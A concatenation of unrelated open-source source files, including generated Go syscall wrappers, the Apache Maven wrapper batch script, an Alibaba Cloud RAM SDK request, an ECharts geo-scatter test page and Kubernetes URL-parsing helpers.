0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) { r0, _, e1 := Syscall6(SYS_SENDFILE64, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0) written = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) { r0, _, e1 := Syscall6(SYS__NEWSELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setfsgid(gid int) (err error) { _, _, e1 := Syscall(SYS_SETFSGID32, uintptr(gid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setfsuid(uid int) (err error) { _, _, e1 := Syscall(SYS_SETFSUID32, uintptr(uid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setregid(rgid int, egid int) (err error) { _, _, e1 := RawSyscall(SYS_SETREGID32, uintptr(rgid), uintptr(egid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setresgid(rgid int, egid int, sgid int) (err error) { _, _, e1 := RawSyscall(SYS_SETRESGID32, uintptr(rgid), uintptr(egid), uintptr(sgid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setresuid(ruid int, euid int, suid int) (err error) { _, _, e1 := RawSyscall(SYS_SETRESUID32, uintptr(ruid), uintptr(euid), uintptr(suid)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setreuid(ruid int, euid int) (err error) { _, _, e1 := RawSyscall(SYS_SETREUID32, uintptr(ruid), uintptr(euid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Shutdown(fd int, how int) (err error) { _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(fd), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) { r0, _, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Stat(path string, stat *Stat_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Ustat(dev int, ubuf *Ustat_t) (err error) { _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func futimesat(dirfd int, path string, times *[2]Timeval) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Gettimeofday(tv *Timeval) (err error) { _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func utimes(path string, times *[2]Timeval) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pread(fd int, p []byte, offset int64) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_PREAD64, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), uintptr(offset>>32)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pwrite(fd int, p []byte, offset int64) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_PWRITE64, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), uintptr(offset>>32)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Truncate(path string, length int64) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_TRUNCATE64, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length), uintptr(length>>32), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Ftruncate(fd int, length int64) (err error) { _, _, e1 := Syscall6(SYS_FTRUNCATE64, uintptr(fd), 0, uintptr(length), uintptr(length>>32), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func mmap2(addr uintptr, length uintptr, prot int, flags int, fd int, pageOffset uintptr) (xaddr uintptr, err error) { r0, _, e1 := Syscall6(SYS_MMAP2, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flags), uintptr(fd), uintptr(pageOffset)) xaddr = uintptr(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getrlimit(resource int, rlim *rlimit32) (err error) { _, _, e1 := RawSyscall(SYS_UGETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setrlimit(resource int, rlim *rlimit32) (err error) { _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func poll(fds *PollFd, nfds int, timeout int) (n int, err error) { r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func armSyncFileRange(fd int, flags int, off int64, n int64) (err error) { _, _, e1 := Syscall6(SYS_ARM_SYNC_FILE_RANGE, uintptr(fd), uintptr(flags), uintptr(off), uintptr(off>>32), uintptr(n), uintptr(n>>32)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(cmdline) if err != nil { return } _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return }
{ "pile_set_name": "Github" }
@REM ---------------------------------------------------------------------------- @REM Licensed to the Apache Software Foundation (ASF) under one @REM or more contributor license agreements. See the NOTICE file @REM distributed with this work for additional information @REM regarding copyright ownership. The ASF licenses this file @REM to you under the Apache License, Version 2.0 (the @REM "License"); you may not use this file except in compliance @REM with the License. You may obtain a copy of the License at @REM @REM https://www.apache.org/licenses/LICENSE-2.0 @REM @REM Unless required by applicable law or agreed to in writing, @REM software distributed under the License is distributed on an @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY @REM KIND, either express or implied. See the License for the @REM specific language governing permissions and limitations @REM under the License. @REM ---------------------------------------------------------------------------- @REM ---------------------------------------------------------------------------- @REM Maven2 Start Up Batch script @REM @REM Required ENV vars: @REM JAVA_HOME - location of a JDK home dir @REM @REM Optional ENV vars @REM M2_HOME - location of maven2's installed home dir @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven @REM e.g. to debug Maven itself, use @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files @REM ---------------------------------------------------------------------------- @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' @echo off @REM set title of command window title %0 @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% @REM set %HOME% to equivalent of $HOME if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") @REM Execute a user defined script before this one if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre @REM check for pre script, once with legacy .bat ending and once with .cmd ending if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" :skipRcPre @setlocal set ERROR_CODE=0 @REM To isolate internal variables from possible post scripts, we use another setlocal @setlocal @REM ==== START VALIDATION ==== if not "%JAVA_HOME%" == "" goto OkJHome echo. echo Error: JAVA_HOME not found in your environment. >&2 echo Please set the JAVA_HOME variable in your environment to match the >&2 echo location of your Java installation. >&2 echo. goto error :OkJHome if exist "%JAVA_HOME%\bin\java.exe" goto init echo. echo Error: JAVA_HOME is set to an invalid directory. >&2 echo JAVA_HOME = "%JAVA_HOME%" >&2 echo Please set the JAVA_HOME variable in your environment to match the >&2 echo location of your Java installation. >&2 echo. goto error @REM ==== END VALIDATION ==== :init @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". @REM Fallback to current working directory if not found. set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir set EXEC_DIR=%CD% set WDIR=%EXEC_DIR% :findBaseDir IF EXIST "%WDIR%"\.mvn goto baseDirFound cd .. IF "%WDIR%"=="%CD%" goto baseDirNotFound set WDIR=%CD% goto findBaseDir :baseDirFound set MAVEN_PROJECTBASEDIR=%WDIR% cd "%EXEC_DIR%" goto endDetectBaseDir :baseDirNotFound set MAVEN_PROJECTBASEDIR=%EXEC_DIR% cd "%EXEC_DIR%" :endDetectBaseDir IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig @setlocal EnableExtensions EnableDelayedExpansion for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% :endReadAdditionalConfig SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar" FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO ( IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B ) @REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central @REM This allows using the maven wrapper in projects that prohibit checking in binary data. if exist %WRAPPER_JAR% ( echo Found %WRAPPER_JAR% ) else ( echo Couldn't find %WRAPPER_JAR%, downloading it ... echo Downloading from: %DOWNLOAD_URL% powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')" echo Finished downloading %WRAPPER_JAR% ) @REM End of extension %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* if ERRORLEVEL 1 goto error goto end :error set ERROR_CODE=1 :end @endlocal & set ERROR_CODE=%ERROR_CODE% if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost @REM check for post script, once with legacy .bat ending and once with .cmd ending if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" :skipRcPost @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' if "%MAVEN_BATCH_PAUSE%" == "on" pause if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% exit /B %ERROR_CODE%
{ "pile_set_name": "Github" }
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # NOTE: This file is auto generated by the elixir code generator program. # Do not edit this file manually. defmodule GoogleApi.AndroidEnterprise.V1.Model.GroupLicensesListResponse do @moduledoc """ ## Attributes * `groupLicense` (*type:* `list(GoogleApi.AndroidEnterprise.V1.Model.GroupLicense.t)`, *default:* `nil`) - A group license for a product approved for use in the enterprise. """ use GoogleApi.Gax.ModelBase @type t :: %__MODULE__{ :groupLicense => list(GoogleApi.AndroidEnterprise.V1.Model.GroupLicense.t()) } field(:groupLicense, as: GoogleApi.AndroidEnterprise.V1.Model.GroupLicense, type: :list) end defimpl Poison.Decoder, for: GoogleApi.AndroidEnterprise.V1.Model.GroupLicensesListResponse do def decode(value, options) do GoogleApi.AndroidEnterprise.V1.Model.GroupLicensesListResponse.decode(value, options) end end defimpl Poison.Encoder, for: GoogleApi.AndroidEnterprise.V1.Model.GroupLicensesListResponse do def encode(value, options) do GoogleApi.Gax.ModelBase.encode(value, options) end end
{ "pile_set_name": "Github" }
// Copyright 2008 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package com.google.android.stardroid.control; import com.google.android.stardroid.control.AstronomerModel.Pointing; import com.google.android.stardroid.units.GeocentricCoordinates; import com.google.android.stardroid.units.Matrix33; import com.google.android.stardroid.units.Vector3; import com.google.android.stardroid.util.Geometry; import com.google.android.stardroid.util.MiscUtil; import android.util.Log; /** * Allows user-input elements such as touch screens and trackballs to move the * map. * * @author John Taylor */ public class ManualOrientationController extends AbstractController { private static final String TAG = MiscUtil.getTag(ManualOrientationController.class); @Override public void start() { // Nothing to do } @Override public void stop() { // Nothing to do } /** * Moves the astronomer's pointing right or left. * * @param radians the angular change in the pointing in radians (only * accurate in the limit as radians tends to 0.) */ public void changeRightLeft(float radians) { // TODO(johntaylor): Some of the Math in here perhaps belongs in // AstronomerModel. if (!enabled) { return; } Pointing pointing = model.getPointing(); GeocentricCoordinates pointingXyz = pointing.getLineOfSight(); GeocentricCoordinates topXyz = pointing.getPerpendicular(); Vector3 horizontalXyz = Geometry.vectorProduct(pointingXyz, topXyz); Vector3 deltaXyz = Geometry.scaleVector(horizontalXyz, radians); Vector3 newPointingXyz = Geometry.addVectors(pointingXyz, deltaXyz); newPointingXyz.normalize(); model.setPointing(newPointingXyz, topXyz); } /** * Moves the astronomer's pointing up or down. * * @param radians the angular change in the pointing in radians (only * accurate in the limit as radians tends to 0.) */ public void changeUpDown(float radians) { if (!enabled) { return; } // Log.d(TAG, "Scrolling up down"); Pointing pointing = model.getPointing(); GeocentricCoordinates pointingXyz = pointing.getLineOfSight(); // Log.d(TAG, "Current view direction " + viewDir); GeocentricCoordinates topXyz = pointing.getPerpendicular(); Vector3 deltaXyz = Geometry.scaleVector(topXyz, -radians); Vector3 newPointingXyz = Geometry.addVectors(pointingXyz, deltaXyz); newPointingXyz.normalize(); Vector3 deltaUpXyz = Geometry.scaleVector(pointingXyz, radians); Vector3 newUpXyz = Geometry.addVectors(topXyz, deltaUpXyz); newUpXyz.normalize(); model.setPointing(newPointingXyz, newUpXyz); } /** * Rotates the astronomer's view. */ public void rotate(float degrees) { if (!enabled) { return; } Log.d(TAG, "Rotating by " + degrees); Pointing pointing = model.getPointing(); GeocentricCoordinates pointingXyz = pointing.getLineOfSight(); Matrix33 rotation = Geometry.calculateRotationMatrix(degrees, pointingXyz); GeocentricCoordinates topXyz = pointing.getPerpendicular(); Vector3 newUpXyz = Geometry.matrixVectorMultiply(rotation, topXyz); newUpXyz.normalize(); model.setPointing(pointingXyz, newUpXyz); } }
{ "pile_set_name": "Github" }
/* * Generated by class-dump 3.3.4 (64 bit). * * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2011 by Steve Nygard. */ #import "NSView.h" @interface NSView (IBTransitionsEffectsInspectorAdditions) + (id)keyPathsForValuesAffectingIbInspectedDesignableSubviewsTransitionName; + (id)keyPathsForValuesAffectingIbShadowedDesignableSubviewsTransition; - (void)setIbInspectedDesignableSubviewsTransitionName:(id)arg1; - (id)ibInspectedDesignableSubviewsTransitionName; - (id)ibShadowedDesignableSubviewsTransition; @end
{ "pile_set_name": "Github" }
package ram //Licensed under the Apache License, Version 2.0 (the "License"); //you may not use this file except in compliance with the License. //You may obtain a copy of the License at // //http://www.apache.org/licenses/LICENSE-2.0 // //Unless required by applicable law or agreed to in writing, software //distributed under the License is distributed on an "AS IS" BASIS, //WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //See the License for the specific language governing permissions and //limitations under the License. // // Code generated by Alibaba Cloud SDK Code Generator. // Changes may cause incorrect behavior and will be lost if the code is regenerated. import ( "github.com/aliyun/alibaba-cloud-sdk-go/sdk/requests" "github.com/aliyun/alibaba-cloud-sdk-go/sdk/responses" ) // ListUsers invokes the ram.ListUsers API synchronously // api document: https://help.aliyun.com/api/ram/listusers.html func (client *Client) ListUsers(request *ListUsersRequest) (response *ListUsersResponse, err error) { response = CreateListUsersResponse() err = client.DoAction(request, response) return } // ListUsersWithChan invokes the ram.ListUsers API asynchronously // api document: https://help.aliyun.com/api/ram/listusers.html // asynchronous document: https://help.aliyun.com/document_detail/66220.html func (client *Client) ListUsersWithChan(request *ListUsersRequest) (<-chan *ListUsersResponse, <-chan error) { responseChan := make(chan *ListUsersResponse, 1) errChan := make(chan error, 1) err := client.AddAsyncTask(func() { defer close(responseChan) defer close(errChan) response, err := client.ListUsers(request) if err != nil { errChan <- err } else { responseChan <- response } }) if err != nil { errChan <- err close(responseChan) close(errChan) } return responseChan, errChan } // ListUsersWithCallback invokes the ram.ListUsers API asynchronously // api document: https://help.aliyun.com/api/ram/listusers.html // asynchronous document: https://help.aliyun.com/document_detail/66220.html func (client *Client) ListUsersWithCallback(request *ListUsersRequest, callback func(response *ListUsersResponse, err error)) <-chan int { result := make(chan int, 1) err := client.AddAsyncTask(func() { var response *ListUsersResponse var err error defer close(result) response, err = client.ListUsers(request) callback(response, err) result <- 1 }) if err != nil { defer close(result) callback(nil, err) result <- 0 } return result } // ListUsersRequest is the request struct for api ListUsers type ListUsersRequest struct { *requests.RpcRequest Marker string `position:"Query" name:"Marker"` MaxItems requests.Integer `position:"Query" name:"MaxItems"` } // ListUsersResponse is the response struct for api ListUsers type ListUsersResponse struct { *responses.BaseResponse RequestId string `json:"RequestId" xml:"RequestId"` IsTruncated bool `json:"IsTruncated" xml:"IsTruncated"` Marker string `json:"Marker" xml:"Marker"` Users UsersInListUsers `json:"Users" xml:"Users"` } // CreateListUsersRequest creates a request to invoke ListUsers API func CreateListUsersRequest() (request *ListUsersRequest) { request = &ListUsersRequest{ RpcRequest: &requests.RpcRequest{}, } request.InitWithApiInfo("Ram", "2015-05-01", "ListUsers", "ram", "openAPI") return } // CreateListUsersResponse creates a response to parse from ListUsers response func CreateListUsersResponse() (response *ListUsersResponse) { response = &ListUsersResponse{ BaseResponse: &responses.BaseResponse{}, } return }
{ "pile_set_name": "Github" }
/* * Copyright (C) 2010 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef _ANDROID_VIEW_SURFACE_H #define _ANDROID_VIEW_SURFACE_H #include <android/native_window.h> #include "jni.h" namespace android { class Surface; extern sp<ANativeWindow> android_Surface_getNativeWindow( JNIEnv* env, jobject clazz); extern bool android_Surface_isInstanceOf(JNIEnv* env, jobject obj); /* Gets the underlying Surface from a Surface Java object. */ extern sp<Surface> Surface_getSurface(JNIEnv* env, jobject thiz); } // namespace android #endif // _ANDROID_VIEW_SURFACE_H
{ "pile_set_name": "Github" }
<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1" /> <script src="lib/esl.js"></script> <script src="lib/config.js"></script> <script src="lib/jquery.min.js"></script> <script src="lib/facePrint.js"></script> </head> <body> <style> html, body, #main { width: 100%; height: 100%; margin: 0; } </style> <div id="main"></div> <script> var lngRange = [79.781327, 131.48]; var lngExtent = lngRange[1] - lngRange[0]; var latRange = [18.252847, 52.33]; var latExtent = latRange[1] - latRange[0]; var chunkMax = 100; var chunkCount = 0; function genData(count) { var data = []; for (var i = 0; i < count; i++) { data.push([ Math.random() * lngExtent + lngRange[0], Math.random() * latExtent + latRange[0], Math.random() * 1000 ]); } return data; } var initData = genData(2001); require([ 'echarts' // 'echarts/chart/map', // 'echarts/chart/scatter', // 'echarts/component/title', // 'echarts/component/legend', // 'echarts/component/geo', // 'echarts/component/visualMap', // 'echarts/component/markPoint', // 'echarts/component/tooltip' ], function (echarts) { require(['map/js/china'], function () { var chart = echarts.init(document.getElementById('main')); chart.setOption({ tooltip: {}, legend: { orient: 'vertical', left: 'left', data:['categoryA','categoryB','categoryC'] }, // ??? // visualMap: { // min: 0, // max: 1500, // left: 'left', // top: 'bottom', // text: ['High','Low'], // seriesIndex: [1, 2, 3], // inRange: { // color: ['#006edd', '#e0ffff'] // }, // calculable : true // }, geo: { map: 'china', roam: true, label: { normal: { show: true, textStyle: { color: 'rgba(0,0,0,0.4)' } } }, itemStyle: { normal:{ borderColor: 'rgba(0, 0, 0, 0.2)' }, emphasis:{ color: null, areaColor: null, shadowOffsetX: 0, shadowOffsetY: 0, shadowBlur: 20, borderWidth: 0, shadowColor: 'rgba(0, 0, 0, 0.5)' } } }, series : [{ name: 'pm2.5', type: 'scatter', stream: true, coordinateSystem: 'geo', data: initData, symbolSize: 4, // symbol: 'rect', itemStyle: { normal: { // color: '#ddb926' color: '#dda' } }, progressive: 100 }] }); chart.on('click', function (param) { alert('asdf'); }); next(); function next() { if (chunkCount++ < chunkMax) { var newData = genData(1000); chart.appendData({seriesIndex: 0, data: newData}); setTimeout(next, 1000); } } }); }); </script> </body> </html>
{ "pile_set_name": "Github" }
// ==++== // // Copyright (c) Microsoft Corporation. All rights reserved. // // ==--== // =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ // // ThreadProxyFactoryManager.cpp // // Manager for thread proxy factories. The RM relies on a factory manager to pool thread proxies of different types. // // =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- #include "concrtinternal.h" namespace Concurrency { namespace details { /// <summary> /// Creates a thread proxy factory manager. /// </summary> ThreadProxyFactoryManager::ThreadProxyFactoryManager() : m_pFreeThreadProxyFactory(NULL), m_pUMSFreeThreadProxyFactory(NULL) { // Allocate a TLS slot to track execution resources in the RM. m_dwExecutionResourceTlsIndex = platform::__TlsAlloc(); } /// <summary> /// Destroys a thread proxy factory manager. /// </summary> ThreadProxyFactoryManager::~ThreadProxyFactoryManager() { if (m_pFreeThreadProxyFactory != NULL) { m_pFreeThreadProxyFactory->ShutdownFactory(); } #ifndef _UMS_DISABLED if (m_pUMSFreeThreadProxyFactory != NULL) { m_pUMSFreeThreadProxyFactory->ShutdownFactory(); } #endif platform::__TlsFree(m_dwExecutionResourceTlsIndex); } /// <summary> /// Returns a Win32 thread proxy factory. /// </summary> FreeThreadProxyFactory * ThreadProxyFactoryManager::GetFreeThreadProxyFactory() { if (m_pFreeThreadProxyFactory == NULL) { _NonReentrantBlockingLock::_Scoped_lock lock(m_proxyFactoryCreationLock); if (m_pFreeThreadProxyFactory == NULL) { m_pFreeThreadProxyFactory = FreeThreadProxyFactory::CreateFactory(this); } } return m_pFreeThreadProxyFactory; } #ifndef _UMS_DISABLED /// <summary> /// Returns a UMS thread proxy factory. /// </summary> UMSFreeThreadProxyFactory * ThreadProxyFactoryManager::GetUMSFreeThreadProxyFactory() { if (m_pUMSFreeThreadProxyFactory == NULL) { _NonReentrantBlockingLock::_Scoped_lock lock(m_proxyFactoryCreationLock); if (m_pUMSFreeThreadProxyFactory == NULL) { m_pUMSFreeThreadProxyFactory = UMSFreeThreadProxyFactory::CreateFactory(this); } } return m_pUMSFreeThreadProxyFactory; } #endif } // namespace details } // namespace Concurrency
{ "pile_set_name": "Github" }
/* Copyright 2015 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package net import ( "strings" "k8s.io/apimachinery/pkg/util/sets" ) var validSchemes = sets.NewString("http", "https", "") // SplitSchemeNamePort takes a string of the following forms: // * "<name>", returns "", "<name>","", true // * "<name>:<port>", returns "", "<name>","<port>",true // * "<scheme>:<name>:<port>", returns "<scheme>","<name>","<port>",true // // Name must be non-empty or valid will be returned false. // Scheme must be "http" or "https" if specified // Port is returned as a string, and it is not required to be numeric (could be // used for a named port, for example). func SplitSchemeNamePort(id string) (scheme, name, port string, valid bool) { parts := strings.Split(id, ":") switch len(parts) { case 1: name = parts[0] case 2: name = parts[0] port = parts[1] case 3: scheme = parts[0] name = parts[1] port = parts[2] default: return "", "", "", false } if len(name) > 0 && validSchemes.Has(scheme) { return scheme, name, port, true } else { return "", "", "", false } } // JoinSchemeNamePort returns a string that specifies the scheme, name, and port: // * "<name>" // * "<name>:<port>" // * "<scheme>:<name>:<port>" // None of the parameters may contain a ':' character // Name is required // Scheme must be "", "http", or "https" func JoinSchemeNamePort(scheme, name, port string) string { if len(scheme) > 0 { // Must include three segments to specify scheme return scheme + ":" + name + ":" + port } if len(port) > 0 { // Must include two segments to specify port return name + ":" + port } // Return name alone return name }
{ "pile_set_name": "Github" }
